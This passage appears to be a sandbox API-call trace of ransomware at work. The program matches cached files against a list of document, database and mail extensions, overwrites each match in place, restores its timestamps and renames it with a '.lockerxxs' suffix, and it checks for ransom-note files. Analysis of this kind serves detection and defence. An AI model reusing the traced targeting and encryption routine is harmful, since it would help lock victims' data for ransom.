(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.qbo") returned 0 [0082.879] lstrlenA (lpString="*.qbo") returned 5 [0082.879] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.qbx") returned 0 [0082.879] lstrlenA (lpString="*.qbx") returned 5 [0082.879] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.qba") returned 0 [0082.879] lstrlenA (lpString="*.qba") returned 5 [0082.879] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.qby") returned 0 [0082.879] lstrlenA (lpString="*.qby") returned 5 [0082.879] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.qbj") returned 0 [0082.879] lstrlenA (lpString="*.qbj") returned 5 [0082.879] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.ofx") returned 0 [0082.879] lstrlenA (lpString="*.ofx") returned 5 [0082.879] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.qif") returned 0 [0082.879] lstrlenA (lpString="*.qif") returned 5 [0082.879] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.mye") returned 0 [0082.879] lstrlenA (lpString="*.mye") returned 5 [0082.879] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.mbox") returned 0 [0082.879] lstrlenA (lpString="*.mbox") returned 6 [0082.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.eml") returned 0 [0082.880] lstrlenA (lpString="*.eml") returned 5 [0082.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.pst") returned 0 [0082.880] lstrlenA (lpString="*.pst") returned 5 [0082.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.ost") returned 0 [0082.880] lstrlenA (lpString="*.ost") returned 5 [0082.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.idx") returned 0 [0082.880] lstrlenA (lpString="*.idx") returned 5 [0082.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.dbx") returned 0 [0082.880] lstrlenA (lpString="*.dbx") returned 5 [0082.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.sql") returned 0 [0082.880] lstrlenA (lpString="*.sql") returned 5 [0082.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.mdb") returned 0 [0082.880] lstrlenA (lpString="*.mdb") returned 5 [0082.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.fdb") returned 0 [0082.880] lstrlenA (lpString="*.fdb") returned 5 [0082.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.wab") returned 0 [0082.880] lstrlenA (lpString="*.wab") returned 5 [0082.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.dat") returned 0 [0082.880] lstrlenA (lpString="*.dat") returned 5 [0082.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.txt") returned 0 [0082.880] lstrlenA (lpString="*.txt") returned 5 [0082.880] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.jpeg") returned 0 [0082.881] lstrlenA (lpString="*.jpeg") returned 6 [0082.881] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", pszSpec="*.jpg") returned 1 [0082.881] lstrlenA (lpString="*.jpg") returned 5 [0082.881] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg" [0082.881] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg" [0082.881] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg." [0082.881] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg.lockerxxs" [0082.881] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbblccz[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.882] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2143 [0082.882] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x53337450, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x53337450, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x53337450, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.882] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.882] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x211d, lpOverlapped=0x0) returned 1 [0082.884] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg") returned="BBBLcCz[1].jpg" [0082.884] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.884] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x211d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x211d, lpOverlapped=0x0) returned 1 [0082.884] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.884] CloseHandle (hObject=0xa4) returned 1 [0082.884] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbblccz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbblccz[1].jpg.lockerxxs")) returned 1 [0082.885] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5348e0b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5348e0b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5348e0b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x912, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBLdzQ[1].jpg", cAlternateFileName="BBBLDZ~1.JPG")) returned 1 [0082.885] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.885] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBLdzQ[1].jpg") returned 1 [0082.886] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBLdzQ[1].jpg") returned 1 [0082.886] lstrcmpiA (lpString1="", lpString2="BBBLdzQ[1].jpg") returned -1 [0082.886] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLcCz[1].jpg") returned="BBBLcCz[1].jpg" [0082.886] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.886] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.886] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.886] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.886] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBBLdzQ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg" [0082.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.ems") returned 0 [0082.886] lstrlenA (lpString="*.ems") returned 5 [0082.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.db") returned 0 [0082.886] lstrlenA (lpString="*.db") returned 4 [0082.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.dbf") returned 0 [0082.886] lstrlenA (lpString="*.dbf") returned 5 [0082.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.myox") returned 0 [0082.886] lstrlenA (lpString="*.myox") returned 6 [0082.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.myo") returned 0 [0082.886] lstrlenA (lpString="*.myo") returned 5 [0082.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.qbw") returned 0 [0082.886] lstrlenA (lpString="*.qbw") returned 5 [0082.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.qbb") returned 0 [0082.886] lstrlenA (lpString="*.qbb") returned 5 [0082.886] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.qbm") returned 0 [0082.887] lstrlenA (lpString="*.qbm") returned 5 [0082.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.qbo") returned 0 [0082.887] lstrlenA (lpString="*.qbo") returned 5 [0082.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.qbx") returned 0 [0082.887] lstrlenA (lpString="*.qbx") returned 5 [0082.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.qba") returned 0 [0082.887] lstrlenA (lpString="*.qba") returned 5 [0082.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.qby") returned 0 [0082.887] lstrlenA (lpString="*.qby") returned 5 [0082.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.qbj") returned 0 [0082.887] lstrlenA (lpString="*.qbj") returned 5 [0082.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.ofx") returned 0 [0082.887] lstrlenA (lpString="*.ofx") returned 5 [0082.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.qif") returned 0 [0082.887] lstrlenA (lpString="*.qif") returned 5 [0082.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.mye") returned 0 [0082.887] lstrlenA (lpString="*.mye") returned 5 [0082.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.mbox") returned 0 [0082.887] lstrlenA (lpString="*.mbox") returned 6 [0082.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.eml") returned 0 [0082.887] lstrlenA (lpString="*.eml") returned 5 [0082.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.pst") returned 0 [0082.887] lstrlenA (lpString="*.pst") returned 5 [0082.887] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.ost") returned 0 [0082.887] lstrlenA (lpString="*.ost") returned 5 [0082.888] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.idx") returned 0 [0082.888] lstrlenA (lpString="*.idx") returned 5 [0082.888] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.dbx") returned 0 [0082.888] lstrlenA (lpString="*.dbx") returned 5 [0082.888] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.sql") returned 0 [0082.888] lstrlenA (lpString="*.sql") returned 5 [0082.888] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.mdb") returned 0 [0082.888] lstrlenA (lpString="*.mdb") returned 5 [0082.888] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.fdb") returned 0 [0082.888] lstrlenA (lpString="*.fdb") returned 5 [0082.888] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.wab") returned 0 [0082.888] lstrlenA (lpString="*.wab") returned 5 [0082.888] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.dat") returned 0 [0082.888] lstrlenA (lpString="*.dat") returned 5 [0082.888] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.txt") returned 0 [0082.888] lstrlenA (lpString="*.txt") returned 5 [0082.888] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.jpeg") returned 0 [0082.888] lstrlenA (lpString="*.jpeg") returned 6 [0082.888] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", pszSpec="*.jpg") returned 1 [0082.888] lstrlenA (lpString="*.jpg") returned 5 [0082.888] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg" [0082.888] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg" [0082.888] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg." [0082.888] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBLdzQ[1].jpg.lockerxxs" [0082.889] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS 